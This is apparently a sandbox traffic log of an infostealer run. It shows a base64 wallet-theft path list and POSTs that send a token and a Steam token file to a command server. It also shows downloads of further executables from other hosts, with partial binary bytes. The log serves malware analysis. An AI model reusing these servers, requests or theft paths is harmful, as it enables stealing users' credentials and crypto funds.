Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jun 28, 2024 13:36:09.962229013 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"files------FCBAEHCAEGDHJKFHJKFI--
Jun 28, 2024 13:36:10.141424894 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 13:36:10.160671949 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="file"------KFHJJDHJEGHJKECBGCFH--
Jun 28, 2024 13:36:10.855175018 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 13:36:10.887615919 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"jbdtaijovg------IEHIIIJDAAAAAAKECBFB--
Jun 28, 2024 13:36:11.585318089 CEST	331	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	77.91.77.81	80	4712	C:\Users\user\Desktop\j7iUba2bki.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:11.593599081 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jun 28, 2024 13:36:12.257271051 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:12 GMT Content-Type: application/octet-stream Content-Length: 1886720 Last-Modified: Fri, 28 Jun 2024 10:40:56 GMT Connection: keep-alive ETag: "667e9338-1cca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafJ@ K@XldJJ @.rsrc@.idata @ *@mdtpgpto01@kfneekepJ@.taggant0J"@
Jun 28, 2024 13:36:12.257307053 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 28, 2024 13:36:12.257323980 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 28, 2024 13:36:12.257345915 CEST	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 28, 2024 13:36:12.257354975 CEST	1236	IN	Data Raw: cf f8 f3 15 21 bf 65 b5 56 b0 1b 85 18 1e 79 4b 98 bc 57 8b 12 b0 f0 a3 c2 00 dd 64 38 86 1f 94 5c bf 87 64 31 21 4d 25 c8 97 7c 09 4e 9a 1b fd 30 e4 6d cc b3 98 73 89 8e 77 39 e7 40 30 b2 46 14 07 13 4d 93 3f 42 1c 37 b2 b3 aa e1 8c cf b5 21 c1 Data Ascii: !eVyKWd8\d1!M%\|N0msw9@0FM?B7!B8.Tuwf{B@\=ej.V3E88!>Y>ws[<< ]BipE3Z53KM3bKciAd/]1u`KaY2vu#A]0
Jun 28, 2024 13:36:12.257364035 CEST	1236	IN	Data Raw: f8 a3 7d f5 5c 02 42 ed 16 00 13 cd 90 dc ea 61 1f bf 1b cd c8 04 6f c5 73 1c b2 36 08 37 04 c8 c0 50 be 72 d7 a3 7b 62 0f e0 5d dc a2 10 7c 05 31 cc 57 74 32 d1 f3 75 78 1b c2 15 2e b8 35 77 43 ab 5d 22 6e be 53 28 7e d7 03 0f 54 b0 bb be 1f 00 Data Ascii: }\Baos67Pr{b]\|1Wt2ux.5wC]"nS(~TJ`' RiE(9y/PbuWWLs+wSiRCU0BsM3M8bt;Mf+CP*Wu4~BOtx\|jt#aS$Q.>9<RhC%XBM3LM? uzu'
Jun 28, 2024 13:36:12.257374048 CEST	1236	IN	Data Raw: 74 fd 64 a9 0e f4 b1 cb 7a 16 36 92 9c 99 00 99 15 d4 2e 86 1d 05 86 3a bc ad 89 79 5b ec 14 73 48 e4 5f 6b 4e fc 93 9d 7f 47 7e bd 3a ee c2 72 7a ad 37 d5 b7 97 35 d0 e0 66 7f 81 30 e0 4b 0d 70 8b 9b 93 09 ce 0e d2 f6 6a 2f 32 23 db d9 eb d6 15 Data Ascii: tdz6.:y[sH_kNG~:rz75f0Kpj/2#H=.3m 8V&O3WmNMW@eJa0-+6yLiOm;{E\P8:]HWIVpd[[4nI5Km`EE1:H'rx!&WG \|
Jun 28, 2024 13:36:12.257381916 CEST	1236	IN	Data Raw: 37 41 87 b7 b3 99 fa 02 e0 a0 ea 56 b0 f1 c3 7b 5d d5 94 95 a2 1d a0 57 cf eb 79 c0 5b ac 22 49 dd 0a 76 b8 5d 81 15 0b 0b fc c9 77 22 9e b2 57 7b e3 2e 85 78 7c b6 02 15 de 73 8f 2f 95 0a 7a 0a 22 22 51 88 63 42 4f cf 36 0a 61 c0 d8 e5 74 52 d1 Data Ascii: 7AV{]Wy["Iv]w"W{.x\|s/z""QcBO6atRq^z\|!3P:~<4I\pbFi/N3kcao);$tJuIN_B*<Ei!8Vt<E~#^kLj+0'](
Jun 28, 2024 13:36:12.257392883 CEST	1236	IN	Data Raw: 0e b8 5d e6 a8 04 45 0a d9 c8 08 91 5c f4 2d 49 26 ab 19 cc 1e f3 b0 ce 47 f4 4d b5 88 d4 1f 94 4f 45 a3 c7 0f b1 4c 4f 8b c7 2e bf 3a be 7b 45 b0 81 bb ae 11 2c a6 3c 30 1a e6 c5 78 16 0b 15 36 bf ff a9 98 e0 3a 1b 88 3a 80 6c 4d 44 b3 4d 0d d8 Data Ascii: ]E\-I&GMOELO.:{E,<0x6::lMDMLs+7'.IKhqYEpP#GY]3[1&/PuhI#X3V2Mu>\|Dp<}]D4J~7\|3ySCZls@jeS0mI
Jun 28, 2024 13:36:12.257401943 CEST	1236	IN	Data Raw: 30 74 b9 9c 69 e1 71 9f 23 00 8b 83 34 4d 8a cf a1 0a c5 78 d0 ea 95 dc ca 94 c6 48 01 01 5a 9f c1 72 1a 09 4d 9b 3d ed bf 4a e2 44 67 8e 34 5f 0d c1 8e df 95 5c ce 85 3e 07 60 41 0f f1 85 49 a1 ba 09 67 cb 39 5a 27 fc a0 1f 8d d9 8f 43 76 33 1b Data Ascii: 0tiq#4MxHZrM=JDg4_\>`AIg9Z'Cv3:(4U.L=tP6Mtrxu3=uW}u}%eO4QB#SDjbcVz",P/&l+][*SA\q'[WbPNs
Jun 28, 2024 13:36:12.262300968 CEST	1236	IN	Data Raw: 4e a5 f9 49 3e 3a 34 48 01 07 0e 97 8a 4f fd 2f 6f da 1b 43 3a 8e 0a 4d 36 17 a8 d6 36 61 bd d9 bd 34 73 38 4c 13 21 2d b0 9d fe 4e 5c f7 b5 a7 b6 13 1b 4b 5e 67 be 29 7e c8 e3 8b 36 58 3a 2b d7 cd 65 f1 99 3c 45 57 2b 8d 72 45 f9 34 96 57 b6 c6 Data Ascii: NI>:4HO/oC:M66a4s8L!-N\K^g)~6X:+e<EW+rE4W&h^9:ESjrOQsPpL=KUie_@UG;4uO+H^:xCQ0G\!I8.aAZkYB_Nov$]"u/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:22.192962885 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:22.863333941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:22.864502907 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:23.078425884 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	77.91.77.81	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:23.090915918 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jun 28, 2024 13:36:23.769556999 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:23 GMT Content-Type: application/octet-stream Content-Length: 2502656 Last-Modified: Fri, 28 Jun 2024 08:05:14 GMT Connection: keep-alive ETag: "667e6eba-263000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 04 a6 be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 be 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELuf!@@ @@@0!@@Pp# @y#(@.data"!4@
Jun 28, 2024 13:36:23.769578934 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa 96 7b b5 89 a4 da 06 b2 dc 40 25 47 02 0e 23 d8 4f 66 4e 2c 95 38 ca ef Data Ascii: {@%G#OfN,8"=\rv6\6Is {l8o%9SC,KQ6 IHV`BG^h`zGvE@(dR:HFb$T%W8\Lx
Jun 28, 2024 13:36:23.769602060 CEST	1236	IN	Data Raw: 17 cc f5 ee d8 1d 85 ff 24 fd 08 3a 5f 3a 3c d9 f4 e8 9e 04 c0 9c ff 38 56 98 90 70 b9 57 a2 9f 7c 68 8f ca 2b 7d 40 db 33 55 61 70 a7 f4 26 1c 52 39 dc e8 16 d5 34 d6 cf d4 23 e4 55 9b 29 77 17 77 b2 f1 b7 3f a8 9b c7 2d 6d 76 45 2b 52 3f 6c 29 Data Ascii: $:_:<8VpW\|h+}@3Uap&R94#U)ww?-mvE+R?l)%JV$YoB'27f0%lq^h#wYsyf4VT)Xva?3^\(^aZ.ofE(;SA55&zsrNZ#\|_H
Jun 28, 2024 13:36:23.769615889 CEST	672	IN	Data Raw: 77 dd 27 b6 cf 0e 7b f3 0e a8 d4 80 0b 1f 1d 42 18 e5 07 ca bf 09 1c fc 4c e9 97 4d 43 5d 4c 9f dd c8 95 3e 9d 50 28 90 c9 c5 1e 59 26 72 e7 01 6b c8 61 5f 32 99 a6 6d 79 8b 2e 9a ea 71 5e 42 ee 24 43 76 11 2c fb 7f 4b ee a5 7d bd 70 cf b2 58 92 Data Ascii: w'{BLMC]L>P(Y&rka_2my.q^B$Cv,K}pXPfZ4+sqxRX4xd4c7xRr#)t"rW-ZveY_m#mI\|7S)?}DBosNR`oBgdpwMttX^$0ud_b
Jun 28, 2024 13:36:23.769630909 CEST	1236	IN	Data Raw: 83 b7 02 73 a9 0d ce 89 0d 7e e1 da fd 8d 2b c3 e7 2d 27 b5 6f 25 ba de ab 34 4d 97 e8 68 df 94 46 63 2e ca 36 24 ee 36 f9 34 4c e1 07 91 6f 7f a0 0a 73 1a 19 4c 68 32 cb 77 00 a9 28 dd 51 c9 e2 a6 24 c5 97 c7 6b 86 8b 15 1e 55 76 5b 13 4a 50 ed Data Ascii: s~+-'o%4MhFc.6$64LosLh2w(Q$kUv[JPU^*}d<Bl}ojty=p@#%x4+7}qjyD\|?\aOvO-Kkx"V%q=b>F@!Jr\G3<5Wlq
Jun 28, 2024 13:36:23.769646883 CEST	1236	IN	Data Raw: b0 bb 38 02 3d db fc 31 63 41 e8 77 8a b3 65 4f b9 ab d6 2f 51 0c d1 f8 95 b5 ab 78 1a c0 75 06 ce 71 0d ed e4 12 42 69 65 c8 ba d9 05 ae fa 98 86 02 5b bf 16 de 4f 54 06 51 0e 71 f0 45 3d 29 2f b7 8e 2e ba 92 12 34 d9 1e fb 82 50 ca c2 3b 16 1c Data Ascii: 8=1cAweO/QxuqBie[OTQqE=)/.4P;BG}1Fb}6<+hAdmGP^i*6ak[Ewzl%bz^B5hRy=Gc0M>VS](;m
Jun 28, 2024 13:36:23.769664049 CEST	1236	IN	Data Raw: f5 59 61 3a f3 59 cd 46 cc 24 f1 c6 22 85 ef 77 33 eb ee 7e d6 89 d7 c4 79 8f ef 39 63 c3 0c 21 8b 88 01 77 f8 9c 06 83 25 62 d9 75 f8 f4 c7 4e bf eb 5c 28 8c dd 07 ed 17 19 05 8f 83 87 6c 90 1c ae 64 97 fd d8 9f 82 94 07 cd f6 5d b0 cd 71 27 40 Data Ascii: Ya:YF$"w3~y9c!w%buN\(ld]q'@0dexE$g)011;k)\cHK]iUEwNX:)Q)\|uaS%An$d2v9RnID{Y8)D
Jun 28, 2024 13:36:23.769678116 CEST	1236	IN	Data Raw: 49 ae 8a 14 7a 43 31 33 25 23 ad 11 51 97 c6 1f 2f 60 3f 55 8a 7f d1 e0 97 ca 55 5c 87 37 90 90 4a 39 1e 9b 33 5b 44 7f 7b cd 6a 80 ff a5 6f 5b 63 22 7b ac cf 59 f6 6f 30 45 8a a2 2b d3 23 bf 64 18 9a 49 9f 03 51 15 00 e1 8f 12 de d8 d5 14 8c d3 Data Ascii: IzC13%#Q/`?UU\7J93[D{jo[c"{Yo0E+#dIQ$w}?B@tvc\|,r"\)0$1%ZCSHM`pH_&xDHLYs(uije2@iTbW$kbbNgk;j34@Q'zTXT)]+
Jun 28, 2024 13:36:23.769692898 CEST	1236	IN	Data Raw: 2b bc f9 8e 2b 53 19 43 65 1e da 86 e6 5c 83 0b 6b c1 49 79 4e a2 f9 b0 64 4e 9a ed 5e ad 5a 92 de 36 7b f3 f6 74 fc 20 02 74 bb 0e b7 76 d9 ea 5a 0a ff db f1 08 46 7e f1 e0 ff d3 de 79 3f 49 5c 27 93 50 9b dd 3c d3 9a 31 d7 84 93 9b 59 29 69 d4 Data Ascii: ++SCe\kIyNdN^Z6{t tvZF~y?I\'P<1Y)itlCaCZ;qTcLRjI&}~t-9YOK]Vw8hyAe%/G)[[`t7qmi4z8%\|]qfT(Rk
Jun 28, 2024 13:36:23.769711018 CEST	1236	IN	Data Raw: 5f 8f 42 b1 2b 80 5a 07 1e e9 e1 d7 67 6b 15 7f 9f cc 7f b7 c9 d6 bb d0 28 7f 3d 8c c7 e9 cc f9 f1 cb 15 cb 55 d3 84 f4 73 93 48 7d d4 1d 32 3d 92 fa 95 f2 4f 1a d5 94 9c fb 32 82 b2 04 a9 fb ef 61 be 18 c3 c5 52 1f bc d8 c0 ea 5c 21 a8 d9 df 2a Data Ascii: _B+Zgk(=UsH}2=O2aR\!i/H3[\|$zTE]u,%8IGs#;]W^=$De.9eEAWb/hq\]<yr\|e@Cc(2FpZ~C
Jun 28, 2024 13:36:23.774930000 CEST	1236	IN	Data Raw: 53 d5 ea 76 49 b9 69 85 7c 4b 6f ae db 0e 34 98 ec 58 a0 2a bb 3e 7d e5 49 1c 1b 1a 54 02 64 10 04 46 2a 23 dd b6 70 75 35 19 64 f1 ba 3b 33 25 51 6f 44 87 86 8c b9 e0 3d 10 80 51 4b 49 e4 9f fb 99 4e 08 d2 43 5b c3 d5 ef 66 d7 c4 a0 03 c3 29 f9 Data Ascii: SvIi\|Ko4X>}ITdF#pu5d;3%QoD=QKINC[f)7KsJyYPBJ#4Azcd#nt-)Lj?G0=uRt&SN~!ts<(8ZNjc#Rr.v`e[7Pc:\|52+~92C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
